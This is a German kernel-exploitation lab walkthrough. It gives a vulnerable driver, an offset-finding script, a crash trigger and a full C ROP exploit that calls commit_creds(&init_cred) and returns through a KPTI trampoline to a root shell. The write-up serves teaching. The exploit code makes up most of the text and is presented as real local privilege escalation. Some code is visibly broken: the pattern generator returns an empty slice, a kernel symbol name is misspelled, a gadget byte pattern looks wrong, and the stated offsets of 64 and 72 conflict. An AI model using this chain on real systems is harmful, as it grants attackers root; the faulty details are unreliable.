

Kernel PWN Walkthrough

Lab 02 – Intermediate: Stack Overflow → Kernel ROP

1. Was machen wir hier?

In Lab 01 haben wir den Kernel gebaut, vroot.ko geladen und Mitigations analysiert. Hier bringen wir die Schwachstelle wirklich aus: Ein Stack-Buffer-Overflow in der Kernel-Stack wird zu einer ROP-Kette, die `commit_creds(&init_cred)` aufruft und uns eine Root-Shell gibt.

Wichtigste Erfahrung: Der erste Exploit ist jedes Mal abgestürzt – weil ein scheinbar gefundenes ROP-Gadget der Kernel beim Booten verändert (die **Return Thunks**). Genau das unterscheidet erfahrene Kernel-Pwner von Anfängern und wird in Kapitel 7 erklärt.

2. Umgebung

```
02-intermediate/
trigger.c        -> crash tool (512x 'A' oder Pattern-Datei)
find-offset.py   -> Pattern erzeugen / Offset aus Oops lesen
exploit.c        -> die ROP-Kette -> Root-Shell
Makefile         -> statische non-PIE Binaries
shared/vroot/vroot.c -> verwundbarer Treiber (Stack-Overflow)
01-beginner/boot.sh -> bootet QEMU (-nokaslr / --kaslr)
```

Der Gast hat kein libc und keinen Compiler – alle Exploits müssen statisch und non-PIE gebaut werden (macht der Makefile), weil die Adressen von `get_shell` etc. direkt in die Kette geschrieben werden.

3. Die Schwachstelle

```
static long vroot_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
    char buf[64];          /* 64-Byte Kernel-Stack-Buffer */
    switch (cmd) {
        case CMD_COPY:
            if (raw_copy_from_user(buf, (void __user *)arg, 512)) /* BUG! */
                return -EFAULT;
            return 0;
    }
    return -ENOTTY;
}
```

Der Stack-Rahmen (-fomit-frame-pointer):

```
buf[0..63]    <- unser Input (Overflow)
buf[64..71]   <- saved RBP
buf[72..]     <- saved RIP (Offset = 64) <-- ROP-Kette beginnt HIER
```

Merke: Der **Offset zum saved RIP** ist messbar und nicht zwingend 64 – er hängt von Compiler-Flags und Stack-Layout ab. Man findet ihn mit der Pattern-Methode (Kapitel 4).

4. Offset finden (find-offset.py + trigger.c)

Statt mit 512x 'A' (RIP=0x4141414141414141) sendet man ein **Pattern** aus einzigartigen 4-Byte-Blöcken. Der Oops druckt den RIP-Wert; diesen Hex-Wert sucht man im Pattern und bekommt so den exakten Byte-Offset:

```
#!/usr/bin/env python3
"""find-offset.py - find the RIP offset of the vroot stack overflow.
```

```
The saved RIP (and RBP) end up holding bytes of the buffer we send, so we
send a PATTERN whose 4-byte blocks are all unique. When the guest crashes,
the oops prints RIP as hex; looking that value up in the pattern tells us
exactly at which byte offset the saved RIP sits.
```

Usage (host side):

```
./find-offset.py gen [size]      # write a unique pattern file (default 512)
./find-offset.py off <hex>      # offset of an oops RIP/RBP value
```

Workflow:

1. ./find-offset.py gen
2. rebuild the initramfs so the pattern + trigger get packed in:
../shared/initramfs/make-initramfs.sh ../linux-5.15.137
3. ./boot.sh
4. in the guest: /root/trigger /root/pattern
5. the oops prints something like RIP: 0010:36317336613372...
6. back on the host: ./find-offset.py off 0x36317336613372

"""

```
import sys
import struct
```

```
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
BASE = len(CHARSET)          # 62 -> 62^4 = 14.7M unique 4-byte blocks
WIDTH = 4
```

```
def enc(n, width=WIDTH):
```

```
    s = []
    for _ in range(width):
        s.append(CHARSET[n % BASE])
        n //= BASE
    return "".join(reversed(s))
```

```
def gen(size):
```

```
    chunks = (size + WIDTH - 1) // WIDTH
    return "".join(enc(i) for i in range(chunks))[size:].encode()
```

```
def cmd_gen(size):
```

```
    pat = gen(size)
    with open("pattern", "wb") as f:
        f.write(pat)
    print(f"[*] wrote 'pattern' ({len(pat)} bytes)")
    print("[*] rebuild the initramfs so it lands at /root/pattern:")
    print("    ../shared/initramfs/make-initramfs.sh ../linux-5.15.137")
```

```
def cmd_off(hexval):
```

```
    try:
        v = int(hexval, 16)
    except ValueError:
        print(f"[!] not a hex number: {hexval}")
        sys.exit(1)
    pat = gen(512)
    packed = struct.pack("<Q", v)          # oops value is stored little-endian
    idx = pat.find(packed)
    if idx < 0:
        print(f"[!] 0x{v:x} does not appear in the pattern")
        print("    (did you send the pattern file? wrong kernel? "
              "stack canary present?)")
        sys.exit(1)
    print(f"[*] value 0x{v:x} found at byte offset {idx}")
    print(f"[*] -> RIP lives at offset {idx} from the start of buf")
    print(f"    (expected 72 for the 64-byte buffer in vroot.c)")
```

```
def main():
```

```
    if len(sys.argv) < 2:
        print(__doc__)
        sys.exit(1)
    cmd = sys.argv[1]
    if cmd == "gen":
        size = int(sys.argv[2]) if len(sys.argv) > 2 else 512
        cmd_gen(size)
    elif cmd == "off":
        if len(sys.argv) < 3:
            print("usage: find-offset.py off <hex>")
```

```

        sys.exit(1)
    cmd_off(sys.argv[2])
else:
    print(__doc__)
    sys.exit(1)

if __name__ == "__main__":
    main()

```

Und der Trigger (crash-Tool):

```

/*
 * trigger.c - crash /dev/vroot with a controlled pattern.
 *
 * No args: sends 512x 'A' -> saved RIP becomes 0x4141414141414141
 * With a file arg: sends the file's content (used by find-offset.py)
 */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define CMD_COPY 0x1337

int main(int argc, char **argv)
{
    char buf[512];
    FILE *f = argc > 1 ? fopen(argv[1], "rb") : NULL;

    if (f) {
        fread(buf, 1, sizeof(buf), f);
        fclose(f);
    } else {
        memset(buf, 0x41, sizeof(buf));
    }

    int fd = open("/dev/vroot", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    ioctl(fd, CMD_COPY, buf);
    return 0;
}

```

5. Der komplette ROP-Exploit (exploit.c)

Der Exploit ist in drei Phasen geteilt: (1) `save_state()` sichert `cs/ss/rflags/rsp` für die Rückkehr nach Ring 3, (2) `kallsyms_lookup()` + `/vmlinux` liefern Symbol- und Gadget-Adressen, (3) die ROP-Kette wird gebaut und per `ioctl(0x1337)` losgeschickt. Hier der vollständige Code:

```

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <elf.h>

#define DEVICE "/dev/vroot"
#define CMD_COPY 0x1337
#define OFFSET 64 /* gemessener Offset: saved RIP liegt bei buf+64
                  * (Kernel ist mit -fomit-frame-pointer gebaut) */

static uint64_t user_cs, user_ss, user_rflags, user_rsp;

static void save_state(void)
{
    __asm__ volatile(

```

```

    ■■"movq %%cs, %0\n\t"
    ■■"movq %%ss, %1\n\t"
    ■■"pushfq\n\t"
    ■■"popq %2\n\t"
    ■■"movq %%rsp, %3\n\t"
    ■■: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp)
    ■■:
    ■■: "memory");
}

static uint64_t kallsyms_lookup(const char *name)
{
    ■FILE *f = fopen("/proc/kallsyms", "r");
    ■char line[512], sym[256], type;
    ■unsigned long long addr;

    ■if (!f) return 0;
    ■while (fgets(line, sizeof(line), f)) {
        ■■if (sscanf(line, "%llx %c %255s", &addr, &type, sym) == 3 &&
            ■■    strcmp(sym, name) == 0) {
            ■■■fclose(f);
            ■■■return addr;
            ■■}
        ■}
    ■fclose(f);
    ■return 0;
}

static uint8_t *vmlinux;
static size_t vmlinux_size;
static uint64_t text_off, runtime_base;

static int load_vmlinux(void)
{
    ■int fd = open("/vmlinux", O_RDONLY);
    ■struct stat st;
    ■Elf64_Ehdr *eh;
    ■Elf64_Phdr *ph;

    ■if (fd < 0 || fstat(fd, &st) || st.st_size < 64) return -1;
    ■vmlinux = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    ■close(fd);
    ■if (vmlinux == MAP_FAILED) return -1;
    ■vmlinux_size = st.st_size;

    ■eh = (Elf64_Ehdr *)vmlinux;
    ■ph = (Elf64_Phdr *) (vmlinux + eh->e_phoff);
    ■for (int i = 0; i < eh->e_phnum; i++)
        ■■if (ph[i].p_type == PT_LOAD && (ph[i].p_flags & PF_X)) {
        ■■■text_off = ph[i].p_offset;
        ■■■return 0;
        ■■}
    ■return -1;
}

static uint64_t find_bytes(const uint8_t *pat, size_t plen)
{
    ■int nth = 0;
    ■const char *e = getenv("GIDX");
    ■int want = e ? atoi(e) : 0;
    ■for (size_t i = text_off; i + plen < vmlinux_size; i++)
        ■■if (memcmp(vmlinux + i, pat, plen) == 0) {
        ■■■if (nth == want)
            ■■■■return runtime_base + (i - text_off);
            ■■■nth++;
        ■■}
    ■return 0;
}

/*
 * find a real "pop rdi; ret". The kernel is built with
 * -mfunction-return=thunk-extern, so almost every plain "ret" in .text is a
 * 5-byte "jmp __x86_return_thunk" (e9 + rel32). At boot apply_returns()

```

```

* rewrites those call sites to "ret; int3..." (on CPUs without retbleed).
* A naive "\x5f\xc3" scan happily matches the *displacement* bytes of such a
* jmp -- but at runtime those bytes are int3 (cc), which oopses. We therefore
* reject any match that overlaps a "jmp __x86_return_thunk" call site.
*/
static uint64_t find_pop_rdi_ret(void)
{
    uint64_t rthunk = kallsyms_lookup("__x86_return_thunk");
    int nth = 0;
    const char *e = getenv("GIDX");
    int want = e ? atoi(e) : 0;

    for (size_t i = text_off; i + 2 < vmlinux_size; i++) {
        int bad = 0;

        if (vmlinux[i] != 0x5f || vmlinux[i + 1] != 0xc3)
            continue;

        /* does an e9-rel32 call/jmp at p overlap our match? */
        for (int p = (int)i - 3; p <= (int)i - 1 && !bad; p++) {
            int32_t rel;

            if (p < (int)text_off || vmlinux[p] != 0xe9)
                continue;
            memcpy(&rel, vmlinux + p + 1, 4);
            /* p+1..p+4 is the displacement; our bytes sit there.
             * If it is a return-thunk call site, apply_returns()
             * replaces [p, p+4] with "c3 cc cc cc cc" at boot. */
            if (rthunk &&
                runtime_base + (p + 5 - text_off) + rel == rthunk)
                bad = 1;
            /* no __x86_return_thunk symbol -> conservative: reject any
             * e9 that could overlap the match */
            if (!rthunk)
                bad = 1;
        }
        if (bad)
            continue;

        if (nth == want)
            return runtime_base + (i - text_off);
        nth++;
    }
    return 0;
}

static void get_shell(void)
{
    printf("[+] got root, spawning shell\n");
    execl("/bin/sh", "sh", NULL);
    perror("execl");
    _exit(1);
}

int main(void)
{
    uint64_t commit_creds, init_cred, trampoline, pop_rdi;
    uint8_t chain[512];
    uint64_t *q;

    setbuf(stdout, NULL);
    save_state();

    commit_creds = kallsyms_lookup("commit_creds");
    init_cred = kallsyms_lookup("init_cred");
    trampoline = kallsyms_lookup("swaps_restore_regs_and_return_to_usermode");
    runtime_base = kallsyms_lookup("_text");

    if (!commit_creds || !init_cred || !runtime_base) {
        fprintf(stderr, "[-] /proc/kallsyms: Symbole fehlen (kptr_restrict=0 noetig)\n");
        return 1;
    }
    if (load_vmlinux() < 0) {

```

```

■fprintf(stderr, "[-] /vmlinux nicht lesbar\n");
■return 1;
■}

■pop_rdi = find_pop_rdi_ret(); /* pop rdi; ret */
■if (!pop_rdi) { fprintf(stderr, "[-] kein 'pop rdi; ret'\n"); return 1; }
■if (!trampoline) /* KPTI aus -> swapgs; iretq */
■trampoline = find_bytes((const uint8_t *)"\xf8\x01\xf8\x48\xcf", 5);
■if (!trampoline) { fprintf(stderr, "[-] kein Trampoline\n"); return 1; }

■printf("[+] offset      : %d\n", OFFSET);
■printf("[+] _text       : 0x%lx\n", runtime_base);
■printf("[+] pop_rdi      : 0x%lx\n", pop_rdi);
■printf("[+] init_cred    : 0x%lx\n", init_cred);
■printf("[+] commit_creds : 0x%lx\n", commit_creds);
■printf("[+] trampoline   : 0x%lx\n", trampoline);

■memset(chain, 'A', sizeof(chain));
■q = (uint64_t *) (chain + OFFSET);

■*q++ = pop_rdi;      /* rdi = &init_cred      */
■*q++ = init_cred;
■*q++ = commit_creds; /* current->cred = root      */

■*q++ = trampoline;  /* KPTI-Trampoline      */
■for (int i = 0; i < 14; i++) *q++ = 0; /* POP_REGS: r15..rsi */

■*q++ = 0;            /* pt_regs->rdi (user RDI) */
■*q++ = 0;            /* pt_regs->orig_ax      */

■*q++ = (uint64_t) get_shell; /* user RIP */
■*q++ = user_cs;
■*q++ = user_rflags;
■*q++ = user_rsp;
■*q++ = user_ss;

■int fd = open(DEVICE, O_RDWR);
■if (fd < 0) { perror("open"); return 1; }
■ioctl(fd, CMD_COPY, chain);
■return 0;
}

```

Die gebaute Kette (nach dem Offset):

```

[pop_rdi; ret] [init_cred] [commit_creds] -> current->cred = root
[trampoline] 14x 0 (POP_REGS r15..rsi)
0x0 (pt_regs->rdi) 0x0 (pt_regs->orig_ax)
[get_shell] [user_cs] [user_rflags] [user_rsp] [user_ss]

```

6. Echte Ausführung

```

# Host
cd ../labs/02-intermediate && make
../shared/initramfs/make-initramfs.sh ../linux-5.15.137
../01-beginner/boot.sh --kaslr

# Gast (zuerst Crash zum Offset-Check):
insmod /lib/modules/vroot.ko
/root/trigger -> dmesg: RIP: 0010:0x4141414141414141
/root/exploit -> root
id
su nobody -c /root/exploit # echte LPE

```

7. Warum der erste Exploit abstürzte: Return Thunks

Der Kernel ist mit `-mfunction-return=thunk-extern` gebaut. Fast jedes `'ret'` im `.text` ist kein echtes 1-Byte `c3`, sondern ein 5-Byte-Sprung `'jmp __x86_return_thunk' (e9 + rel32)`. Beim Boot patchen `apply_returns()/apply_returns` diese Stellen (auf CPU ohne Retbleed) zurück zu `'c3 cc cc cc cc'`.

Ein naiver Byte-Scan nach '5f c3' findet aber auch „Gadgets“, deren c3 im **Displacement** solcher Return-Thunk-Sprünge liegt (Byte-Glück im rel32-Feld). Zur Laufzeit ist dort nach dem Patch aber int3 (cc) → Oops. Deshalb muss find_pop_rdi_ret() jede Stelle verwerfen, die mit einem jmp __x86_return_thunk-Overlap zusammenfällt (siehe den Code in exploit.c).

8. Lernziele

- Stack-Overflow in den Kernel (Ring 0) ausnutzen
- Offset mit Pattern-Methode messen
- ROP-Kette bauen + KPTI-Trampoline für Rückkehr zu Userland
- Return-Thunk-Problem verstehen (echtes vs. kaputtes Gadget)